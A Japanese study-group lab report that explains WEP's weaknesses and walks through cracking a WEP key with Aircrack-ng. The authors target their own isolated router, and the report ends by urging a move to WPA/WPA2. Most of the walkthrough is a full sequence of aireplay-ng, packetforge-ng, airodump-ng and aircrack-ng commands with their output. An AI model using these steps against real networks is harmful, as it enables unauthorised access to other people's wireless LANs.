Aircrack-ng を用いた WEP キー解析

Aircrack-ng を用いた WEP キー解析
技術問題研究会 ネットワーク班
1. はじめに
2. WEP の仕組み
3. WEP に対する主な攻撃手段
4. Aircrack-ng による解析手順
5. まとめ
6. 参考文献
1. はじめに
無線 LAN の暗号化方式として,WEP, WPA-PSK, WPA2-PSK などが挙げられるが,WEP
の脆弱性については広く知られており,コンピュータセキュリティシンポジウム 2008 での
神戸大学,広島大学のグループによる論文の発表が記憶に新しいと思われる.論文によれ
ば,WEP キーは特殊な環境を必要とせずに一瞬 (10 秒) で解読できてしまうとのことだっ
た.
WEP キーの解析を行うツールは様々存在するが,本稿では接続しているクライアントが
存在せず,152bit WEP で暗号化を行っているようなアクセスポイントを対象として,
Aircrack-ng と呼ばれるツール群を用いた解析方法について説明していく.
このツール群は,
暗号化されたパケットデータを捕捉し,FMS 攻撃,KoreK 攻撃,PTW 攻撃などを用いるこ
とで WEP キーの解析を行う.ARP パケット注入を行う aireplay-ng は Linux 上でしか動作し
ない,ARP パケット注入を行うことのできる無線 LAN カード/チップ (たとえば EeePC の
Atheros チップなど.詳しくは公式サイトに載っている.) を搭載したものを用意する必要
がある,などの制約があり,上記論文の方法に比べると時間もかかってしまうが,それで
も 5 分かからずに解析することできる.
実際にはアクセスポイントと接続しているクライアントは常に通信を行っているため,
そのようなアクセスポイントを対象とするのが望ましいが,実験中は常に脆弱な状態を晒
し続ける必要があり,実験環境のセキュリティ上の観点から,接続しているクライアント
は存在せず,孤立しているアクセスポイントを対象とすることにする.なお,通信を行っ
ているクライアントが存在する場合のアプローチについても後述する.
今回の調査に当たって,BUFFALO, NEC の 2 社の無線 LAN ルータを用いて実験を行った
が,BUFFALO 社の WHR-G300N ではうまく行かず,NEC 社の Aterm WR8500N ではうまく
行く結果となった.開発サイトによると,アクセスポイントによって有効な攻撃手段 (後述
するが,ARP パケットを発生させる攻撃手段には Fragmentation Attack, Chopchop Attack の 2
種類がある) は異なり,うまく行かないものもあるようだ.
以降ではターゲットとなる WEP の仕組み,WEP に対する攻撃手段を説明し,Aircrack-ng
を用いた解析実験のレポートを記していくことにする.
2. WEP の仕組み
WEP の正式名称は Wired Equivalent Privacy といい,無線 LAN 初期の暗号化規格である.
これは IEEE802.11a や IEEE802.11b などの無線 LAN 通信における暗号化仕様の総称であり,
データを暗号化する際には共有鍵暗号の RC4 を用いる.RC4 はストリーム暗号化システム
である.ストリーム暗号とは暗号化の単位が可変長であり,入力されたデータ列を順次暗
号化して出力することができる暗号系である.
WEP を使用するとき,ユーザーは暗号化の鍵 (本稿ではこれを WEP キーと呼ぶ) となる
ASCII 文字列を決め,これをクライアントとアクセスポイントに設定する.暗号化を行う際
には ASCII 文字列を 16 進数に変換し,さらに 24bit の長さを持つ IV1 (Initialization Vector, 初
期化ベクタ) を組み合わせて 64bit, あるいは 128bit 長 (実験では 152bit WEP を対象として
いるが,便宜上この 2 つに限って説明する) とした値を使う.これらによってできた鍵を擬
似乱数ジェネレータ (PRNG : Pseudo Random Number Generator) に通して,そこから出力さ
れる乱数 (これをキーストリームと呼び,生成過程は RC4 と呼ばれる) と LAN でやりとり
されるネットワークフレームの内容 (暗号化される前の情報,ICV2も含まれる) を XOR 演
算する.その結果と,鍵を生成するために使用した IV の値を相手に送信する.この結果で
きた暗号文に同じ鍵でもう一度 XOR 演算すると,元の平文が取り出される.最終的には,
IEEE802.11 ヘッダ,平文の IV,暗号化されたデータ,FCS3 (Frame Check Sequence) が送信
されることになる.暗号化の手順,及び最終的に送信されるデータを次ページの図 1 で示
す.
1
暗号化の際に使われる乱数列の基となる数値であり,長さは 24bit になっている.通常,WEP キーは固
定であるため,キーストリームが固定されないようにパケットごとに変化する.
2
Integrity Check Value (一貫性検査値) の略であり,IA (Integrity Algorithm, 一貫性アルゴリズム) によって
計算された CRC-32 の値のこと.受信側でエラー検出に利用される.
3
フレームリレーにおいてエラーを検出するためのチェックサムを用いた誤り検出方式の一種であり,フ
レームの最後に付けられるビット列のこと.
図 1. WEP による暗号化の仕組み
上 2 段は暗号化の様子を表し,最下段は最終的に送信されるデータを表す.
当然,設定する ASCII 文字列は大文字,小文字,記号,数字などを混在させた方が安全
性は高くなると考えられるが,IV の扱い方に問題があるため,RC4 本来の暗号強度よりも
劣ってしまっている.詳しくは次節で述べる.
3. WEP に対する主な攻撃手段
先程も述べたように WEP で最終的に送信されるデータには,暗号化されていない IV が
含まれている.IV はパケットごとに変化するが,平文であるため容易に取得できる.また,
WEP キーは通常固定されているので,RC4 では同じ IV からは同じキーストリームが得ら
れる.IV は 24bit であるから,
通りあることになるが,一定の条件を満た
す IV (WeakIV と呼ばれる) からキーストリームを生成すると,キーストリームの先頭に
WEP キーの情報が大きく漏れることになり,この情報を用いることで全数探索よりも少な
い計算量で WEP キーを探し当てることができる.これは鍵復元攻撃と呼ばれる攻撃の一種
で,冒頭で述べた FMS 攻撃と呼ばれているものである.KoreK 攻撃,PTW 攻撃はこれを更
に最適化し,計算速度を高めたものとなっている.
具体的には,アクセスポイントの ARP 応答を捕捉することで IV を集め,十分な IV が集
まったら解析を開始する,といった流れになる.アクセスポイントに接続しているクライ
アントがいる状態であれば,その通信から ARP 応答を得ることで IV を集められるのだが,
接続しているクライアントがいない状態ではそれができない.そこで,Fragmentation Attack,
あるいは Chopchop Attack と呼ばれる攻撃を行って得られるデータを用いて ARP パケットを
作成し,これをアクセスポイントに注入してブロードキャストを行わせる.こうすること
で,孤立しているアクセスポイントでも効率的に IV を集めることができる.次節では,実
際に Aircrack-ng を用いてこれまで説明した方法を示す.
4. Aircrack-ng による解析手順
まず,実験を行った環境について説明する.アクセスポイントは Aterm WR 8500N であり,
使用したチャンネルは 7 であった.使用した PC は Lenovo G550 で,OS は VMWare Player
にインストールした BackTrack4 4 R1,無線子機として WLI-UC-G300N を用いた.ARP パケ
ットを注入するために,カーネルの無線ドライバにパッチを当てるなどの準備が必要であ
るが,ここでは詳細を割愛させていただく.
解析の流れとしては,airmon-ng で無線 LAN アダプタのモニターモードを有効にし,
aireplay-ng でアクセスポイントに Fake authentication5を行い,Fragmentation Attack (あるいは
Chopchop Attack) を行って PRGA ファイル6を集める.その後,packetforge-ng で ARP パケ
ットを生成し,再び aireplay-ng で生成したARPパケットをアクセスポイントに繰り返し
注入する.ARP パケットを注入されたアクセスポイントはブロードキャストを行うので,
airodump-ng で IV を捕捉して保存する.十分な IV が捕捉できたら,aircrack-ng を用いてク
ラックを行う,といった手順を踏むことになる.
以下に実行結果を示す.
(1) アクセスポイントの SSID を変数 ESSID,アクセスポイントの MAC アドレスを変数
BSSID,無線 LAN アダプタの MAC アドレスを変数 MYMAC に保存して用いる.
$ESSID=myair, $BSSID= 00:1B:8B:F5:8E:A7, $MYMAC=00:1D:73:92:B2:C2
4
システムに脆弱性がないかどうかテストするためのツールが多数収録された,無料の Linux ディストリ
ビューション.
5
攻撃をするために,偽って認証をする.MAC アドレスフィルタリングが行われている場合は,許可され
ている MAC アドレスを調べてつなぐことになる.
6
pseudo random generation algorithm (擬似乱数生成アルゴリズム) によって生成されたファイルであり,
ARP パケットを生成する際に必要になる.
(2) 無線 LAN アダプタをモニターモードに切り替える.
root@bt:~/wep# airmon-ng start wlan0 7
Interface
Chipset
wlan0
Driver
Ralink RT2870/3070
rt2800usb - [phy1]
(monitor mode enabled on mon0)
(3) アクセスポイントに Fake authentication を行う.
root@bt:~/wep# aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MYMAC mon0
01:14:04 Waiting for beacon frame (BSSID: 00:1B:8B:F5:8E:A7) on channel 7
01:14:04
01:14:04
01:14:04
01:14:04
Sending Authentication Request (Open System) [ACK]
Authentication successful
Sending Association Request [ACK]
Association successful :-) (AID: 1)
(4) Fragmentation Attack を行う.
root@bt:~/wep# aireplay-ng -5 -b $BSSID -h $MYMAC mon0
01:14:28 Waiting for beacon frame (BSSID: 00:1B:8B:F5:8E:A7) on channel 7
01:14:29 Waiting for a data packet...
Read 303 packets...
Size: 398, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:1B:8B:F5:8E:A7
Dest. MAC = 01:00:5E:7F:FF:FA
Source MAC = 00:1B:8B:F5:8E:A5
0x0000: 0842 0000 0100 5e7f fffa 001b 8bf5 8ea7 .B....^........
0x0010: 001b 8bf5 8ea5 b000 c477 8400 4093 1d5e .........w..@..^
0x0020: 3cdb da48 9ba0 7a63 1dd8 4a38 c4ae b586 <..H..zc..J8....
0x0030: ed13 6325 898d 0714 1ebc ee8a 79ff a7d2 ..c%........y...
0x0040: 4d78 8f72 3c08 b805 b963 a53e 3215 48a5 Mx.r<....c.>2.H.
0x0050: f5ab 5c52 928f a6cd 1992 d0a5 73b1 7d9f ..¥R........s.}.
0x0060: 4d25 a370 4d6e 73df d588 91dd fdaa 2d28 M%.pMns.......-(
0x0070: b56c 5ecf 8203 9721 5304 6805 0926 f3cc .l^....!S.h..&..
0x0080: 8b3a dd7d 89e7 be12 a504 c6cb d462 6cfb .:.}.........bl.
0x0090: 6298 ee16 798a e066 7556 9a03 1450 d45d b...y..fuV...P.]
0x00a0: 684c 1f07 cfe3 b233 4515 8336 c303 d71c hL.....3E..6....
0x00b0: e65e 377d e5a0 90af f936 2192 4321 6163 .^7}.....6!.C!ac
0x00c0: fabd bf74 513d e42b 14ea 309a 39bf bebe ...tQ=.+..0.9...
0x00d0: c748 b6bf 6f0a 4fcd 9ee1 20e0 9d60 b79a .H..o.O... ..`..
--- CUT --Use this packet ? y
Saving chosen packet in replay_src-1211-011506.cap
01:15:08 Data packet found!
01:15:08 Sending fragmented packet
01:15:08 Got RELAYED packet!!
01:15:08 Trying to get 384 bytes of a keystream
01:15:08 Not enough acks, repeating...
01:15:08 Trying to get 384 bytes of a keystream
01:15:08 Got RELAYED packet!!
01:15:08 Trying to get 1500 bytes of a keystream
01:15:08 Got RELAYED packet!!
Saving keystream in fragment-1211-011508.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
(5) ARP パケットを作成する.
root@bt:~/wep# packetforge-ng -0 -a $BSSID -h $MYMAC -k 255.255.255.255 -l 255.255.255.255
-y fragment-1211-011508.xor -w arp-request
Wrote packet to: arp-request
(6) ARP パケットをアクセスポイントに注入する.
root@bt:~/wep# aireplay-ng -2 -r arp-request mon0
No source MAC (-h) specified. Using the device MAC (00:1D:73:92:B2:C2)
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:1B:8B:F5:8E:A7
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:1D:73:92:B2:C2
0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
0841 0201 001b 8bf5 8ea7 001d 7392 b2c2 .A..........s...
ffff ffff ffff 8001 d077 8400 9280 5e10 .........w....^.
caf9 4c48 936a 38d9 ff62 f418 639a 86d6 ..LH.j8..b..c...
c888 51e4 d3ea 1d49 3c5f 958b c166 a5a7 ..Q....I<_...f..
aada 1e35
...5
Use this packet ? y
Saving chosen packet in replay_src-1211-011713.cap
You should also start airodump-ng to capture replies.
(7) IV を捕捉する.
root@bt:~/wep# airodump-ng -c 7 --bssid $BSSID -w wepcap mon0
CH 7 ][ Elapsed: 2 mins ][ 2010-12-11 01:20
BSSID
AUTH E
00:1B:8B:F5:8E:A7
BSSID
PWR RXQ Beacons
-36 95
1435
#Data, #/s CH MB
44044 528
STATION
00:1B:8B:F5:8E:A7 00:1D:73:92:B2:C2
PWR
0
0-1
ENC CIPHER
7 54e. WEP WEP
Rate
<
Lost Packets Probes
24
114066
(8) 捕捉したデータを基に,WEP キーの解析を行う.
root@bt:~/wep# aircrack-ng -a 1 -n 152 -b $BSSID wepcap-01.cap
Opening wepcap-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 40819 ivs.
KEY FOUND! [ 75:76:74:61:75:74:38:75:33:39:76:74:56:45:4D:6D ] (ASCII:
uvtaut8u39vtVEMm )
Decrypted correctly: 100%
以上によって,WEP キーは uvtaut8u39vtVEMm であると解析された.なお,ここまでの作
業でかかった時間は 4 分であった.
5. まとめ
本稿で取り上げた方法は,ARP パケットをアクセスポイントに注入し続けることになる
ので,通信を監視していれば容易に防ぐことができる.とは言ったものの,一般家庭など
ではアクセスポイントの監視を行っていることはほとんどないと思われるので,この方法
でも十分に WEP キー解析が行えてしまうことになる.このような事実だけでも,WEP を使
い続けるのは非常に危険であると結論付けることができるが,初めにも述べたように,10
秒で WEP キーを解析できる方法も提案されているので,早急に WPA あるいは WPA2 に乗
り換える必要がある.
今では,無線 LAN ルータなどの機器が WEP にしか対応していない,などといった問題
はほとんどないと思うが,ニンテンドーDS の既存のソフトでは WEP にしか対応していな
いものも多く,仕方なく WEP を使用しているという状況が考えられる.それに加えて,
WEP の脆弱性を知らずに暗号化方式として利用しているユーザーも少なからずいるのでは
ないかと思う.前者は限定的にしか使用しないのでまだしも,後者はそのままアクセスポ
イントが公開され続けるため,タダ乗りなど犯罪の手口として利用されてしまう可能性が
ある.そういったことを回避するためにも,WEP 利用の禁止を積極的に呼びかけていく必
要があるように思う.
6. 参考サイト
http://www.aircrack-ng.org/
Aircrack-ng の配布元であり,チュートリアルなどが充実している.
http://www.atmarkit.co.jp/fwin2k/operation/wirelesswep/wirelesswep02.html
http://www.sophia-it.com/content/FCS
http://bibo-log.blog.so-net.ne.jp/archive/c2301208095-1
http://www.n-study.com/network/2005/08/lan_wep.html
http://www.infraexpert.com/study/wireless9.html
http://thinkit.co.jp/article/838/1